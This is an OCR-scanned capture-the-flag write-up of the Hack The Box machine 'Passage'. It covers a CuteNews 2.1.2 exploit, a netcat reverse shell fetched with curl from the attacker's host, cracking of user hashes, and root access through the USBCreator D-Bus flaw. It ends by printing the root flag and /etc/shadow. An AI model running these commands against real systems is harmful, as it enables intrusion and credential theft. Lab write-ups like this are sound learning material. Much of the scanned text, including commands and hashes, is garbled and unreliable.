Passage

Hack The Box Machine

We start with a nmap scan.

Starting Nmap 7.86 ( https://mmap.org ) at 2820-09-22 13:45 CEST
Mmap scan report for passage.htb (10.10.16.206;

Host is up (0.27s latency).

Mot shown: 298 clo ports

PORT STATE SERVICE VERSION

>3 f e -

22/ = ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)

B2 —1.r 03
t'n:'-‘.'_a:fﬂ:-::lt}:t'nﬂ,d.r fl:a0:a1: 4.r :38:d6:a8:a1 tE[
Apache httpd 2.4.18 ((Ubuntu))
e : pdchw.h.4 18 (Ubuntu)
| _http-titl
Service Info: 0S: B CPE: cpe:fo:Llinux:1linux_kernel

vice detection performed. Please report any incorrect results at https://nmap
submit/
done: 1 IP address (1 host up) scanned in 9_ 76 seconds

The scan reveals port 80 and 22 to be open. Let's check the webpage.

Powered by CuteMews

At the bottom of the page, the text “Powered by CuteNews” can be seen.
CuteNews has a login page on /CuteNews.

Please sign in

=
=
CJ Remember me

(lost password)

Powered by CuteMews 20 20022020 CutePHP:

On this page we can see the version, 2.1.2. this version has a CVE (CVE-2019-
11447



). Searching for an exploit for results in
https://www.exploit-db.com/exploits/48800.

Downloading this exploit and running it will result in a shell.

S python3 cutenew
s-exploit.py
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[->] Usage python3 expoit.py

Enter the URL=> http:;jpassage.htb}[

9196-BEICPUPXTr

signature key: efed9db29c52catac?abe? C
6 4860936

e
signature_dsi: 7b6d557818d444a3a0762a6
logged in user: BEICpUPxXtr
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command =

command = whoami
www-data

Now we want to upgrade this shell to a netcat shell. We download netcat to the
machine and connect to a listener.

command = curl 10.10.14.87:8000/nc64.exe -0 nc.exe

command > nc 16.16.14.87 4444 -c bash

On the listener, we spawn a interactive shell with python.

Listening on 0.0.0.0 4444
Connection received on 10.18.10.286 49466

python3 -c 'import pty;pty.spawn(”/bin/bash")’
www-data@passage: /var/www/html/CuteNews fuploadss [



https://www.exploit-db.com/exploits/48800

After some enumeration, we find some php files in the CuteNews documents.

:/var /www/html /CuteNews /cdata/userss s
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If we look at one of the files, we notice there are base64 encoded strings.

www-data@passage: /var/www/html/CuteNews /cdata/users$ cat 10.php
cat 10.php

<?php die('Direct call - access denied'); ?=
¥ToxOntzOjusImvtYWLsIjthoj E6&3M6MTQ6Ik1C|ak15MHVI.~\JLIZI‘-maFjayStZSI?cz:)KMDO'i_TLIZqTNwdeZTMyI?f}(O:

With 'cat *.php’ we print all the content, then we copy the content to a local file.

With grep, you can select every piece of text except for “<?php die('Direct call -
access denied'); ?>"

Or you paste the content to a word processor like LibreOffice and use the replace
function to remove all those lines.

<?php die('Direct call - access denied'); ?>

<?php die('Direct call - access denied'); ?>

YToxOntzOjI6ImlkIjthOjE6e2k6MTUS0TkzO TAS0TtzOjQ6InR1c3Qi0319<?php die(Direct call
- access denied'); 7>

YToyOntzOjUGImVtY WisIjthOjE6e3MEMTY 6InBhdWxA cGFzc2FnZ S50dGIi03M6MTAGInBhd
Ww lYZQsZXMlOB110]Q6]m5hb\ﬂj102ESMTp?conOﬂ[}ZXND]JIhO]ExOnle]MSIthbll?czox
OilwlIjtzOjI6ImlkIjtzOj
0iJhY 2wiD3MEMToiN Find & Replace
JuaWNI1TjzOjQ6InRIc3
VIMWEIZTIINWYWN g 4. S o

20iJsdHMiO3MEMTAL : <?php die('Direct call - access denied'); 7> v
E2SW50cGRHVWIPM

jY6ImF2Y XRhcil7czoy
owOili0319fQ==<?php
YToxOnzOjI6ImlkIjth  Replace: |
die('Direct call - access |
YToxOntzOjQ6ImShbW
wOIlXNTk50TM3MTg Find All Find Previous Find Next Replace Replace All
zOjJE6IjQIO3MENToiZ)
TjizOjEwOi 1aGOvbjd1]
DZiMTA0ODU1YmQ5
03M6NDoibW9yZSI7a Replace backwards
IU25W1GaWIzVjBlank Regular expressions Paragraph Styles

0b29uN3VvUOpfdWhvt

die('Direct call - access | similarity search

YToxOnzOjUGImVYY

TUi0319<?php die('Din Comments

YTOYO”EOJ'QS]'HShb“_ Diacritic-sensitive

DgzMDQ31jz0jQ6Im5

W1lhaWwiO3MG6MTc6l Format...

OGI1MzFjMjdhNjBiNT

OWUxNDg1ZTEIO3 M| Help Close
TU50TkzOTQ3MCI7cl

Match case Whole words only

¥ Other options

We can decode the resulting text from base64 and look at its content.



5 $ cat allphp.txt | base64 -d
a:1:{s:2:"1d";a: 1 {i 1599939099 s:4: 'tcSt"}}a 2:{s:5:"email”; ‘1:{5 10 paul@pasgagc htb";s
:10: paul coles name ;a: 1:{5:4:" e i11:{s: :' " "id";s:10:"15999390

:4:"name" :' R58 3: "acl";s:1:"4"; " ;5:16: tcst@passagc htb";s:4:"nick";s
:4:"test";s:4: pass :5:64:"03ac674216F3e15c761ee1a5e255f067953623c8b388b4459e13F978d7c846F4"
f 3:"1t5',5‘10‘"1599939138 ;5:4:"more" ;s:60:" YToyDntzD]QoIandGUtD3MoMDotI]tzD]UoImF1b3VOI]
tzOJAGILITT s:6:"avatar";s:24:"avatar_test uxbxwkdy.php";5:6:"e—hide"; "":}}ra:1: {5 2
:"id";a:1:{1:1598829833;s: egress' }}a:1:{s:4: namc' a:l:{s: uhoon7uos: =19 {5 25 '
5:10:"1599937183";s:4:"name" ;5:10: "uhoon7uoS5]";s: 3 _5 1:"4";s:5:"email"”; 8 uhoon?uo*
J@hack.me";s:4:"nick";5:10: "uhoon7uoSl"; ass";s: 04 9acc?00345903d0cfd0b104855bd94a9afc
a10fe89ca&516?1?5&6963fa&e&d4";5:4:"more";s:60:"YToyDntzD]QoIandGUtD3MOMDotI]tzD]UoImF1b3V0
I]tzD]AbILI?fO—— 3 :"avatar', :32:"avatar uhoon?uof] _uhoon7uoSJ.php"; 5:6'"e—hide”;5‘0:"";}
}ra:1:{s:5:"email";a:1:{s:15:" egreSS@test com :6:"egre55"; }}a 2:{s:4:"name";a:1:{s:5:"admi
n";a:8:{s:2:"1d";s5:10:"1592483047";5:4: "name" _5 5 "admin";s:3:"acl";s:1:"1";s:5:"email" ;5:17
:"nadav@passage.htb";s:4:"pass”;s:64:"7144a8b531c27a60b51d81ael16be3aBlcef722e11b43a26fdedca?d
?f9e1485&1";5:3:”1t5”;5:10:"159248?988";5:3:"ban";s:10:"15999394?0";5:3:"cnt";S'l:”z";}}s:z:
"id";a:1:{1:1599936380;5:4:"titi";}}a:1:{5:4:"name";a:1:{5:10 "erﬂvaD]k"‘ g s:2:"id";
0:"1599938123";5:4:"name”;s:lo:"erSvaDJk";5:3:"ac 1:"4";s5:5:"email";s: 1 3 er%vaD]k@h
ack.me";s:4:"nick";s:10:"rwTSxPv0Jk";s:4:"pass";s:64: 'b4ccb0d0c0c000fa4a4ffc0c?a4a3dcb?28e91
54la58f96633b8?d58de98e554 ;s:4:"more" ;s5:60:"YToyOntz0jQ6 InNpdGUL03M6MDo1Ijtz0jU6IMFib3VeIjt

The text contains more base64 encoded strings en hashes. A hash analyser
reveals that they are SHA256 hashes.

Hash Analyzer

Tool to identify hash types. Enter a hash to be identified.

‘ 7144a8b531c27a60b51d81laelbbe3a8lcef722el1b43a26fdeOca97f9el485el

Hash: 7144a8b531c27a60b51d81ael16be3a81cef722e11b43a26fdelca97{9%
1485el

Salt:

Hash type: SHA2-256

We collect all the hashes and either use John the Ripper or an online database to
crack the hashes.



With ‘su’ we can try these passwords in combination with paul or nadav (The
only users in /home).

Paul is able to authenticate with the password atlantal.

wWwWww-data@passage: /var/www/html/CuteNews /cdata/u
su paul
Password: atlantal

id rsa.pub known hosts

ssh-rsa PPPPB3NLdC1yc2EPPP'
1AvQIg2gYaEH1Ddpqgdoc ( ]
fIUKo3WFnoVZiTmvK S2tYQ e 1pP4VExxPH4fobLnnp9LnUVBpjCMHIHIR uEadRNRwC
|MEf5HfV31s1chwcnhIL 5xPyH3yFIBNR?]pDInT*FnrdvTh3n1+lLErnFul SyOEWhcPybkM5hxdL9geoblres

sage.htb -i id_rsa

Last login: Mon Aug 31 15:07:54 2020 from 127.0.0.1



We download [inPEAS and enumerate.

[+] SUIB - Check easy privesc, exploits and write perms

[il

Jbinfmount —> M i Kernel_xnu-1699.32.7_except_xnu-1699.24.8
Dy

Gentoofothers/Ubuntu_Server_16.10_and_others(02-2017)

daemon-launch-helper
device

SPARC_8/9/Sun_Solaris 2.3 to_2.5.1(02-1997)
VE-2011-1485)

nware-user-suid-wrapper
/pppd > Apple_Mac_05X_10.4.8(05-2007)

We see that the dbus deamon lauch helper is running. It can activate D-BUS
services that aren't running. LIinPEAS also has a section of D-BUS services.

com.hp.hplip (activatable) -
com.ubuntu.LanguageSelector (activatable) -
com.ubuntu.SoftwareProperties (activatable) -
com.ubuntu.SystemService (activatable) -
com.ubuntu.USBCreator (activatable) -
com.ubuntu.WhoopsiePreferences (activatable) -
fi.epitest.hostap. WPASupplicant {activatable) -
fi.wl.wpa supplicantl (activatable) -
io.snapcraft.SnapdLoginService (activatable) -
org.bluez (activatable) -
org.debian.apt (activatable) -

Part of the not running but activatable services is the USBCreator. This service is
also mentioned in nadav's home folder.

In nadav's home folder is a .viminfo file with the following content:

File marks:
1 8 [fetcfat-spi2/accessibility.conf
1 ® ~/.cachefupstart/dbus.log.1.gz

122 ©® ~/.bashrc
12 7 Jetc/dbus-1/system.dfcom.ubuntu.USBCreator.conf
2 0 [Jetc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf

If we search around for vulnerabilies related to the USBCreator we find this
article. https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-
escalation-in-ubuntu-desktop/

The article is written by Nadav Markus, which is a big hint that we are in the right
direction.

According to the article, the vulnerability allows us to copy files with root
permissions without needing to authenticate. You do have to be in the sudo
group, which is true for nadav.


https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/
https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/

In order to use this exploit to escalate to root privileges, we need to find a way
where copying a file is useful.

We can copy nadavs authorized keys to the root folder and authenticate as root
with nadavs private key. We can't move the authorized keys file itself, so we
copy paste its content in a new file in nadav/tmp/

:~$ echo ssh-rsa AAAAB3NzaClyc2EAAAADAQABAAABAQCZX1scFGY319T2gvX0Okhow+BpPnhFv5A0Pa
gArgzWDk9uUq7 /4v4kuzso/1AvQIg2gYaEH1Ddpqd9gCYATtg76N5RLbroGqA6P091Q69PQadlsziInYumbhClgPLGUB]@6
YKDktI3bo/H3jxYTXY3kfIUKo3WFnoVZiTmvKLDKALO/+52tYQa7wMleSRO1pPAVEXXPWAXDFbLnnp9z0OUVBpdCMH181Rdg

0gOQuUEadRNRWCAIkmMEY5efV3YsYcwBwc6h /ZB4u8xPyH3yFLBNR7JADKN7ZFnrdvTh30Y+kLEr6FuilSyOEWhcPybkMshxd
L9ge9blresfNC1122qq49d nadav@passage > tmpjfauthorized keys

We can now run the exploit from the article.

:~5 gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USB
Creator --method com.ubuntu.USBCreator.Image /home/nadav/tmp/authorized keys /root/.ssh/fauthori
zed_keys true

)

With Nadav's public key in the authorized keys list of the root user, we can use
his private key to authenticate as root.

$ ssh root@passage.htb -i id_rsa

Last login: Mon Erg 31 15:14:22 2020 from 127.0.0.1
Hs

Here is the root flag.

:~# cat root.txt
c25b3696d5&&f38ci6539339?32132be

To be able to lock my write-up when the box is still active, | need the root
password hash.

:~# cat [etc/shadow
root:$65mjc8TvgrsL56bn5KQDTOYKRAXBTLAXCmT7FVWIbds . FOOFVC11PWliaNu5SASAXxKzaEddyaYGMxGQPUNOSUpPXT/
NawzS8TWO:18464:0:99999:7:::

daemon:*:17953:0:99999:7:::

bin:*:17953:0:99999:7:::
Sys:*:1¥953:8:99999:7:::

ROOT HASH:
$6$mjc8Tvgr$L56bn5KQDtOYKRAXBTLAXcmMT7FVW]bds.FOOFVc11PWIliaNu5ASAXx
KzaEddyaYGMxGQPUNo5UpxT/nawzS8TWO

If you like this write-up, please leave a respect at:
https://www.hackthebox.eu/home/users/profile/176528



https://www.hackthebox.eu/home/users/profile/176528

